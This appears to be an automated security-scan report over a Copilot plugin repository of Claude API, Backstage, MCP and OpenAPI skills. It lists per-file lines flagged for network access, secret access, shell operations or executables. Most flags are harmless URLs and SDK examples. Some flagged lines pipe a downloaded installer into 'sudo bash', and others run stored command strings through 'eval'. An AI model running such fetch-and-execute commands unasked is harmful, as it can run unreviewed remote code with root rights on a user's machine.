|---|---| | Python / TypeScript / Ruby / cURL | plain object `{"type": "bash_20250124", "name": "bash"}` | | Go | `anthropic.ToolUnionParam{OfBashTool20250124: &anthropic.ToolBash20250124Param{}}` | - Network accessline 437
| Python / TypeScript / Ruby / cURL | plain object `{"type": "bash_20250124", "name": "bash"}` | - Network accessline 523
- URL: `https://platform.claude.com/docs/en/agents-and-tools/tool-use/overview`
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/vendor-guide.md
- Network accessline 22
1. **The official Anthropic SDK** for the project's language (`anthropic`, `@anthropic-ai/sdk`, `com.anthropic.*`, etc.). This is the default whenever a supported SDK exists for the project. 2. **Raw HTTP** (`curl`, `requests`, `fetch`, `ht - Network accessline 23
2. **Raw HTTP** (`curl`, `requests`, `fetch`, `httpx`, etc.) — only when the user explicitly asks for cURL/REST/raw HTTP, the project is a shell/cURL project, or the language has no official SDK. - Network accessline 27
**Never guess SDK usage.** Function names, class names, namespaces, method signatures, and import paths must come from explicit documentation — either the `{lang}/` files in this skill or the official SDK repositories or documentation links - Network accessline 102
Every SDK language above supports both the beta Tool Runner and Managed Agents (beta) — Python (`@beta_tool` decorator), TypeScript (`betaZodTool` + Zod), Java (annotated classes), Go (`BetaToolRunner` in the `toolrunner` pkg), Ruby (`BaseT - Network accessline 189
**Partner pricing:** The prices above are Anthropic first-party API rates — they also apply to Claude on Microsoft Foundry, which is billed through the Microsoft Marketplace at standard API rates. Claude on Amazon Bedrock and Vertex AI is p - Access to secretsline 213
[Credential-related source omitted] - Access to secretsline 215
[Credential-related source omitted] - Network accessline 217
- **SDK code or `ant` CLI:** just run it. The zero-arg client constructor and every `ant …` subcommand pick up the profile automatically — no env var needed. - **Raw `curl` / HTTP:** get a short-lived token with `ant auth print-credentials - Network accessline 218
[Credential-related source omitted] - Access to secretsline 220
[Credential-related source omitted] - Network accessline 289
| C# | `Betas = ["fast-mode-2026-02-01"]` | `Speed = Speed.Fast` (`Anthropic.Models.Beta.Messages`) | | PHP | `betas: ['fast-mode-2026-02-01']` | `speed: 'fast'` | | cURL | `anthropic-beta: fast-mode-2026-02-01` header | `"speed": "fast"` i - Network accessline 291
| cURL | `anthropic-beta: fast-mode-2026-02-01` header | `"speed": "fast"` in body | - Access to secretsline 343
[Credential-related source omitted] - Access to secretsline 462
[Credential-related source omitted] - Network accessline 470
**All SDK languages use the same multi-file layout** — directory `{lang}/claude-api/` containing `README.md` (install, client init, basic request, thinking, caching, stop details, misc), `tool-use.md` (tool definitions, agentic loop, Anthro
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/typescript/claude-api/README.md
- Access to secretsline 21
[Credential-related source omitted] - Network accessline 96
{ type: "image", source: { type: "url", url: "https://example.com/image.png" }, - Network accessline 97
type: "image", source: { type: "url", url: "https://example.com/image.png" }, }, - Network accessline 98
source: { type: "url", url: "https://example.com/image.png" },
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/typescript/claude-api/tool-use.md
- Network accessline 493
- `https://github.com/anthropics/anthropic-sdk-typescript/blob/main/examples/tools-helpers-memory.ts`
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/typescript/managed-agents/README.md
- Network accessline 3
> **Bindings not shown here:** This README covers the most common managed-agents flows for TypeScript. If you need a class, method, namespace, field, or behavior that isn't shown, web_fetch the TypeScript SDK repo **or the relevant docs pag - Access to secretsline 19
[Credential-related source omitted] - Network accessline 68
); console.log(session.id, session.status); console.log(`Trace: https://platform.claude.com/workspaces/default/sessions/${session.id}`); // swap 'default' for your workspace ID if the API key is not in the Default workspace - Network accessline 70
console.log(`Trace: https://platform.claude.com/workspaces/default/sessions/${session.id}`); // swap 'default' for your workspace ID if the API key is not in the Default workspace - Network accessline 105
{ type: "github_repository", url: "https://github.com/owner/repo", - Network accessline 106
type: "github_repository", url: "https://github.com/owner/repo", mount_path: "/workspace/repo", - Network accessline 107
url: "https://github.com/owner/repo", - Access to secretsline 109
[Credential-related source omitted] - Network accessline 341
model: "claude-opus-5", mcp_servers: [ { type: "url", name: "my-tools", url: "https://my-mcp-server.example.com/sse" }, - Network accessline 342
mcp_servers: [ { type: "url", name: "my-tools", url: "https://my-mcp-server.example.com/sse" }, ], - Network accessline 343
{ type: "url", name: "my-tools", url: "https://my-mcp-server.example.com/sse" },
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-hosted-agent-copilotkit/SKILL.md
- Network accessline 53
| Build generative UI | Return compact model-consumable data, not rich formatting. | Render rich content in `useRenderToolCall` or the CopilotKit render map. | Confirm rendering while streaming and after stream end. | | Share agent state | - Network accessline 55
| Debug stream failures | `curl -N` the AG-UI endpoint with a minimal `RunAgentInput` body. | Inspect browser console and network after backend stream is proven good. | Compare raw SSE events with rendered UI state. |
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-hosted-agent-copilotkit/references/architecture.md
- Network accessline 62
- **Architecture A/B**: run the FastAPI/ASP.NET service directly; point the CopilotKit runtime's `HttpAgent` at `http://localhost:<port>/`. - Network accessline 84
- Token audience is `https://ai.azure.com/.default` — the default `cognitiveservices.azure.com` scope yields 401 "audience is incorrect". - Keyless (Entra / `DefaultAzureCredential`) is the norm; the async Python credential path needs `aioh
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-hosted-agent-copilotkit/references/deploy-loop.md
- Network accessline 41
Deploy the AG-UI endpoint (Architecture A/C service, or rely on the hosted invocations endpoint for B) where the CopilotKit runtime can reach it server-side; set the runtime's agent URL env var accordingly. Keep auth keyless (Entra) with th
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-hosted-agent-copilotkit/references/hitl.md
- Network accessline 24
**`.NET`** uses a different mechanism than Python's wrapper flag: wrap the tool in `ApprovalRequiredAIFunction`, then wrap the *agent* in a `DelegatingAIAgent` that bridges approval content to/from the `request_approval` client tool call (t - Network accessline 105
**Root cause (isolated by calling the hosted agent's bare `/responses` endpoint with curl — no AG-UI, no CopilotKit in the loop):** chaining `previous_response_id` through a response that resolved an `mcp_approval_response` makes the hosted
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-hosted-agent-copilotkit/references/troubleshooting.md
- Network accessline 9
1. `curl -N -X POST <agui-endpoint> -H 'Content-Type: application/json' -d '<minimal RunAgentInput>'` — read raw AG-UI SSE events. Reproduces → frontend innocent. - Network accessline 36
| Symptom | Root cause | Fix | | --- | --- | --- | | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` | - Network accessline 37
| --- | --- | --- | | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` | | 403 `Microsoft.MachineLearningServices/workspaces/agents/action` despit - Network accessline 38
| 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` |
harness/github-copilot/plugins/open-horizons-platform/skills/github-cli/scripts/setup-github-app.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 61
$(basename "$0") --github-org myorg --app-name myorg-backstage \\ --homepage-url https://backstage.example.com \\ - Network accessline 62
--homepage-url https://backstage.example.com \\ - Network accessline 63
--callback-url https://backstage.example.com/api/auth/github/handler/frame \\ - Network accessline 67
$(basename "$0") --github-org myorg --app-name myorg-backstage \ --homepage-url https://backstage.example.com \ - Network accessline 68
--homepage-url https://backstage.example.com \ - Network accessline 69
--callback-url https://backstage.example.com/api/auth/github/handler/frame \ - Network accessline 73
$(basename "$0") --github-org myorg --app-name myorg-argocd \\ --homepage-url https://argocd.example.com \\ - Network accessline 74
--homepage-url https://argocd.example.com \\ - Network accessline 75
--callback-url https://argocd.example.com/api/dex/callback \\ - Network accessline 248
log_warning "GitHub Apps must be created via web UI:" echo "" echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/apps/new" - Network accessline 249
echo "" echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/apps/new" echo "" - Network accessline 250
echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/apps/new" - Network accessline 291
log_warning "OAuth Apps must be created via web UI:" echo "" echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/applications/new" - Network accessline 292
echo "" echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/applications/new" echo "" - Network accessline 293
echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/applications/new" - Access to secretsline 319
[Credential-related source omitted] - Access to secretsline 326
[Credential-related source omitted] - Access to secretsline 336
[Credential-related source omitted] - Access to secretsline 359
[Credential-related source omitted] - Access to secretsline 386
[Credential-related source omitted] - Access to secretsline 421
[Credential-related source omitted] - Access to secretsline 422
[Credential-related source omitted] - Access to secretsline 423
[Credential-related source omitted] - Access to secretsline 435
[Credential-related source omitted]
harness/github-copilot/plugins/open-horizons-platform/skills/github-codespaces-golden-paths/references/devcontainer-templates.md
- Network accessline 212
[](https://codespaces.new/${{ values.repoUrl }}?quickstart=1)
harness/github-copilot/plugins/open-horizons-platform/skills/github-copilot-harness-engineering/SKILL.md
- Network accessline 120
The prompt-first harness workflow at `https://github.com/baskduf/harness-starter-kit` is optional reference material only when the user asks for it or the target repository already uses it. Do not let that reference override repository evid - Network accessline 157
- [Harness starter kit](https://github.com/baskduf/harness-starter-kit)
harness/github-copilot/plugins/open-horizons-platform/skills/github-copilot-sdk/SKILL.md
- Network accessline 106
- [GitHub Copilot SDK](https://github.com/github/copilot-sdk)
harness/github-copilot/plugins/open-horizons-platform/skills/github-copilot-sdk/references/extended-guide.md
- Network accessline 350
github: { type: "http", url: "https://api.githubcopilot.com/mcp/", - Network accessline 351
type: "http", url: "https://api.githubcopilot.com/mcp/", }, - Network accessline 352
url: "https://api.githubcopilot.com/mcp/", - Network accessline 364
"github": { "type": "http", "url": "https://api.githubcopilot.com/mcp/", - Network accessline 365
"type": "http", "url": "https://api.githubcopilot.com/mcp/", }, - Network accessline 366
"url": "https://api.githubcopilot.com/mcp/", - Network accessline 378
"github": { "type": "http", "url": "https://api.githubcopilot.com/mcp/", - Network accessline 379
"type": "http", "url": "https://api.githubcopilot.com/mcp/", }, - Network accessline 380
"url": "https://api.githubcopilot.com/mcp/", - Network accessline 395
{ Type = "http", Url = "https://api.githubcopilot.com/mcp/", - Network accessline 396
Type = "http", Url = "https://api.githubcopilot.com/mcp/", }, - Network accessline 397
Url = "https://api.githubcopilot.com/mcp/", - Network accessline 704
- **GitHub Repository**: https://github.com/github/copilot-sdk - Network accessline 705
- **Getting Started Tutorial**: https://github.com/github/copilot-sdk - Network accessline 706
- **GitHub MCP Server**: https://github.com/github/github-mcp-server - Network accessline 707
- **MCP Servers Directory**: https://github.com/modelcontextprotocol/servers - Network accessline 708
- **Cookbook**: https://github.com/github/copilot-sdk - Network accessline 709
- **Samples**: https://github.com/github/copilot-sdk
harness/github-copilot/plugins/open-horizons-platform/skills/github-copilot-usage-metrics/get-enterprise-metrics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/plugins/open-horizons-platform/skills/github-copilot-usage-metrics/get-enterprise-user-metrics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/plugins/open-horizons-platform/skills/github-copilot-usage-metrics/get-org-metrics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/plugins/open-horizons-platform/skills/github-copilot-usage-metrics/get-org-user-metrics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/plugins/open-horizons-platform/skills/github-issue-ops/dispatcher.py
harness/github-copilot/plugins/open-horizons-platform/skills/github-issue-ops/test_dispatcher.py
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/open-horizons-platform/skills/mcp-builder/LICENSE.txt
harness/github-copilot/plugins/open-horizons-platform/skills/mcp-builder/reference/evaluation.md
- Access to secretsline 398
[Credential-related source omitted] - Access to secretsline 440
[Credential-related source omitted] - Access to secretsline 444
[Credential-related source omitted] - Network accessline 454
python scripts/evaluation.py \ -t sse \ -u https://example.com/mcp \ - Network accessline 455
[Credential-related source omitted] - Network accessline 456
-u https://example.com/mcp \ - Network accessline 467
python scripts/evaluation.py \ -t http \ -u https://example.com/mcp \ - Network accessline 468
[Credential-related source omitted] - Network accessline 469
-u https://example.com/mcp \ - Access to secretsline 557
[Credential-related source omitted]
harness/github-copilot/plugins/open-horizons-platform/skills/mcp-builder/reference/node_mcp_server.md
- Dangerous shell operationline 541
"clean": "rm -rf dist" - Network accessline 600
// Constants const API_BASE_URL = "https://api.example.com/v1"; - Network accessline 601
const API_BASE_URL = "https://api.example.com/v1"; - Access to secretsline 707
[Credential-related source omitted] - Access to secretsline 708
[Credential-related source omitted] - Access to secretsline 719
[Credential-related source omitted] - Access to secretsline 720
[Credential-related source omitted] - Network accessline 737
const port = parseInt(process.env.PORT || '3000'); app.listen(port, () => { console.error(`MCP server running on http://localhost:${port}/mcp`); - Network accessline 738
app.listen(port, () => { console.error(`MCP server running on http://localhost:${port}/mcp`); }); - Network accessline 739
console.error(`MCP server running on http://localhost:${port}/mcp`);
harness/github-copilot/plugins/open-horizons-platform/skills/mcp-builder/reference/python_mcp_server.md
- Network accessline 42
**For complete SDK documentation, use WebFetch to load:** `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 43
`https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 233
async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict: '''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: - Network accessline 234
'''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: response = await client.request( - Network accessline 235
async with httpx.AsyncClient() as client: - Network accessline 251
# Good: Async network request async def fetch_data(resource_id: str) -> dict: async with httpx.AsyncClient() as client: - Network accessline 252
async def fetch_data(resource_id: str) -> dict: async with httpx.AsyncClient() as client: response = await client.get(f"{API_URL}/resource/{resource_id}") - Network accessline 253
async with httpx.AsyncClient() as client: - Network accessline 258
# Bad: Synchronous request def fetch_data(resource_id: str) -> dict: response = requests.get(f"{API_URL}/resource/{resource_id}") # Blocks - Network accessline 259
def fetch_data(resource_id: str) -> dict: response = requests.get(f"{API_URL}/resource/{resource_id}") # Blocks return response.json() - Network accessline 260
response = requests.get(f"{API_URL}/resource/{resource_id}") # Blocks - Network accessline 352
# Constants API_BASE_URL = "https://api.example.com/v1" - Network accessline 353
API_BASE_URL = "https://api.example.com/v1" - Network accessline 382
async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict: '''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: - Network accessline 383
'''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: response = await client.request( - Network accessline 384
async with httpx.AsyncClient() as client: - Access to secretsline 511
[Credential-related source omitted] - Access to secretsline 517
[Credential-related source omitted]
harness/github-copilot/plugins/open-horizons-platform/skills/mcp-builder/scripts/connections.py
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/open-horizons-platform/skills/mcp-builder/scripts/evaluation.py
harness/github-copilot/plugins/open-horizons-platform/skills/microsoft-agent-framework/SKILL.md
- Network accessline 21
- Microsoft Agent Framework is in public preview and changes quickly. - Read the official overview at `https://learn.microsoft.com/agent-framework/overview/agent-framework-overview` before making implementation choices. - Network accessline 22
- Read the official overview at `https://learn.microsoft.com/agent-framework/overview/agent-framework-overview` before making implementation choices. - Prefer official docs and samples for current APIs; treat older Semantic Kernel and AutoG - Network accessline 50
| Source | Rule | Official guide | | --- | --- | --- | | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kerne - Network accessline 51
| --- | --- | --- | | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/` | | AutoGen | Preserve agent in - Network accessline 52
| Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/` | - Network accessline 53
| AutoGen | Preserve agent interactions and orchestration semantics before replacing abstractions. | `https://learn.microsoft.com/agent-framework/migration-guide/from-autogen/` | - Network accessline 110
- [Microsoft Agent Framework overview](https://learn.microsoft.com/agent-framework/overview/agent-framework-overview) - Network accessline 111
- [Migration guide from Semantic Kernel](https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/) - Network accessline 112
- [Migration guide from AutoGen](https://learn.microsoft.com/agent-framework/migration-guide/from-autogen/)
harness/github-copilot/plugins/open-horizons-platform/skills/microsoft-agent-framework/references/dotnet.md
harness/github-copilot/plugins/open-horizons-platform/skills/microsoft-agent-framework/references/python.md
harness/github-copilot/plugins/open-horizons-platform/skills/microsoft-code-reference/SKILL.md
- Network accessline 4
Look up official Microsoft API references, SDK signatures, packages, and working code samples before writing or fixing Azure SDK, .NET, Microsoft Graph, or Microsoft API code. Use when verifying method names, overloads, parameters, authenti - Network accessline 5
metadata: compatibility: "Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback." --- - Network accessline 6
compatibility: "Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback." - Network accessline 132
- [Microsoft Learn MCP Server](https://learn.microsoft.com/api/mcp)
harness/github-copilot/plugins/open-horizons-platform/skills/microsoft-docs/SKILL.md
harness/github-copilot/plugins/open-horizons-platform/skills/microsoft-skill-creator/SKILL.md
- Network accessline 4
Create hybrid GitHub Copilot skills for Microsoft technologies using Microsoft Learn MCP tools or the mslearn CLI. Use this skill when the user asks to create a skill for Azure, .NET, Microsoft 365, VS Code, Bicep, Semantic Kernel, a Micros - Network accessline 5
metadata: compatibility: "Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback." context: "fork" - Network accessline 6
compatibility: "Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback." - Network accessline 24
- Prefer the Microsoft Learn MCP Server at `https://learn.microsoft.com/api/mcp` when available. - Network accessline 99
For a Semantic Kernel skill, use `semantic-kernel/`, `sample_codes/getting-started/hello-kernel.cs`, `sample_codes/common-patterns/chat-completion.cs`, and `sample_codes/common-patterns/function-calling.cs`. Useful seed lookups include `mic - Network accessline 157
- [Microsoft Learn MCP Server](https://learn.microsoft.com/api/mcp) - Network accessline 158
- [Semantic Kernel overview](https://learn.microsoft.com/semantic-kernel/overview/) - Network accessline 159
- [Semantic Kernel agent memory](https://learn.microsoft.com/en-us/semantic-kernel/frameworks/agent/agent-memory)
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-aeg-feature/scripts/validate_aeg_contract.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-ai-catalog/SKILL.md
- Network accessline 70
- [AI in the Software Catalog](https://backstage.io/docs/ai/ai-in-the-catalog)
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-authentication/SKILL.md
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-catalog-db-performance/SKILL.md
- Network accessline 4
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 5
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: "eeac444a9aba7c107525d2a726851e907418c181" - Network accessline 6
source-repository: "https://github.com/backstage/backstage"
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-external-integrations/references/azure-devops.md
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-external-integrations/references/github.md
- Network accessline 27
First-party source: <https://backstage.io/docs/integrations/github/github-apps>.
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-external-integrations/references/servicenow.md
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-framework/SKILL.md
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-kubernetes/SKILL.md
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-mcp-actions/SKILL.md
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-notifications/SKILL.md
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-permissions/SKILL.md
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-search/SKILL.md
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-deploy-orchestration/SKILL.md
- Access to secretsline 37
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 86
[Credential-related source omitted] - Network accessline 118
# Access ArgoCD kubectl port-forward svc/argocd-server -n argocd 8080:443 # Visit https://localhost:8080 - Network accessline 120
# Visit https://localhost:8080 - Network accessline 122
# Access Grafana kubectl port-forward svc/prometheus-grafana -n observability 3000:80 # Visit http://localhost:3000 - Network accessline 124
# Visit http://localhost:3000
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-deploy-orchestration/references/rollback.md
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-deploy-orchestration/references/troubleshooting.md
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-prerequisites/SKILL.md
- Network accessline 72
# Azure CLI curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Dangerous shell operationline 73
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Network accessline 73
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Network accessline 75
# Terraform wget -O- https://apt.releases.hashicorp.com/gpg | sudo gpg --dearmor -o /usr/share/keyrings/hashicorp-archive-keyring.gpg - Dangerous shell operationline 76
[Credential-related source omitted] - Network accessline 76
[Credential-related source omitted] - Access to secretsline 76
[Credential-related source omitted] - Dangerous shell operationline 77
[Credential-related source omitted] - Network accessline 77
[Credential-related source omitted] - Access to secretsline 77
[Credential-related source omitted] - Dangerous shell operationline 78
sudo apt update && sudo apt install terraform - Network accessline 80
# kubectl curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" - Network accessline 81
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" - Dangerous shell operationline 82
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-prerequisites/scripts/validate-cli-prerequisites.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 39
["terraform"]="Terraform IaC|terraform version|brew install terraform" ["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Dangerous shell operationline 40
["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 40
["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 48
["jq"]="JSON Processor|jq --version|brew install jq" ["yq"]="YAML Processor|yq --version|brew install yq" ["curl"]="HTTP Client|curl --version|built-in" - Network accessline 49
["yq"]="YAML Processor|yq --version|brew install yq" ["curl"]="HTTP Client|curl --version|built-in" ["git"]="Git|git --version|brew install git" - Network accessline 50
["curl"]="HTTP Client|curl --version|built-in" - Dangerous shell operationline 93
local version=$(eval "$check_cmd" 2>/dev/null | head -1 | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -1 || echo "installed") - Dangerous shell operationline 100
eval "$install_cmd" 2>/dev/null || log_warning "Auto-install failed. Run manually: $install_cmd" - Dangerous shell operationline 116
if eval "$check_cmd" &> /dev/null; then
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-prerequisites/scripts/validate-prerequisites.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 39
["terraform"]="Terraform IaC|terraform version|brew install terraform" ["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Dangerous shell operationline 40
["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 40
["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 48
["jq"]="JSON Processor|jq --version|brew install jq" ["yq"]="YAML Processor|yq --version|brew install yq" ["curl"]="HTTP Client|curl --version|built-in" - Network accessline 49
["yq"]="YAML Processor|yq --version|brew install yq" ["curl"]="HTTP Client|curl --version|built-in" ["git"]="Git|git --version|brew install git" - Network accessline 50
["curl"]="HTTP Client|curl --version|built-in" - Dangerous shell operationline 93
local version=$(eval "$check_cmd" 2>/dev/null | head -1 | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -1 || echo "installed") - Dangerous shell operationline 100
eval "$install_cmd" 2>/dev/null || log_warning "Auto-install failed. Run manually: $install_cmd" - Dangerous shell operationline 116
if eval "$check_cmd" &> /dev/null; then
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-workspace-kit/SKILL.md
- Network accessline 128
- [GitHub Copilot custom instructions](https://docs.github.com/en/copilot/how-tos/copilot-on-github/customize-copilot/add-repository-instructions/add-repository-instructions) - Network accessline 129
- [VS Code prompt files](https://code.visualstudio.com/docs/copilot/customization/prompt-files)
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-workspace-kit/scripts/install_workspace_kit.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-workspace-kit/scripts/test_install_workspace_kit.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-workspace-kit/templates/mcp.json
harness/github-copilot/plugins/open-horizons-platform/skills/python-package-management/SKILL.md
- Network accessline 35
Uses [uv](https://github.com/astral-sh/uv) for dependency management and - Network accessline 36
[poethepoet](https://github.com/nat-n/poethepoet) for task automation. - Network accessline 241
- `released` -> `Development Status :: 5 - Production/Stable` - See the PyPI classifier list for the available classifier values: `https://pypi.org/classifiers/` - Network accessline 243
`https://pypi.org/classifiers/`
harness/github-copilot/plugins/open-horizons-platform/skills/sdd-requirements-engineer/references/ears-notation.md
- Network accessline 103
- Alistair Mavin, [EARS overview and pattern definitions](https://alistairmavin.com/ears/), reviewed 2026-08-25. - Network accessline 104
- A. Mavin, P. Wilkinson, A. Harwood, and M. Novak, "Easy Approach to Requirements Syntax (EARS)," *17th IEEE International Requirements Engineering Conference*, 2009, pp. 317-322, [doi:10.1109/RE.2009.9](https://doi.org/10.1109/RE.2009.9). - Network accessline 105
- University of Manchester Research Explorer, [bibliographic record for "Easy Approach to Requirements Syntax (EARS)"](https://research.manchester.ac.uk/en/publications/easy-approach-to-requirements-syntax-ears/), reviewed 2026-08-25.
harness/github-copilot/plugins/openapi-to-application-csharp-dotnet/skills/openapi-to-application-code/SKILL.md
- Network accessline 13
- "Generate an application from this OpenAPI spec." - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - Network accessline 14
- "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - "Create controllers and DTOs from this OpenAPI definition." - Network accessline 15
- "Turn https://api.example.com/openapi.json into runnable code." - Network accessline 23
| Input | Acceptable forms | Required handling | | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, - Network accessline 24
| --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | | Pro - Network accessline 25
| OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | - Network accessline 143
- [Example OpenAPI URL](https://api.example.com/openapi.json)
harness/github-copilot/plugins/openapi-to-application-go/skills/openapi-to-application-code/SKILL.md
- Network accessline 13
- "Generate an application from this OpenAPI spec." - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - Network accessline 14
- "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - "Create controllers and DTOs from this OpenAPI definition." - Network accessline 15
- "Turn https://api.example.com/openapi.json into runnable code." - Network accessline 23
| Input | Acceptable forms | Required handling | | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, - Network accessline 24
| --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | | Pro - Network accessline 25
| OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | - Network accessline 143
- [Example OpenAPI URL](https://api.example.com/openapi.json)
harness/github-copilot/plugins/openapi-to-application-java-spring-boot/skills/openapi-to-application-code/SKILL.md
- Network accessline 13
- "Generate an application from this OpenAPI spec." - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - Network accessline 14
- "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - "Create controllers and DTOs from this OpenAPI definition." - Network accessline 15
- "Turn https://api.example.com/openapi.json into runnable code." - Network accessline 23
| Input | Acceptable forms | Required handling | | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, - Network accessline 24
| --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | | Pro - Network accessline 25
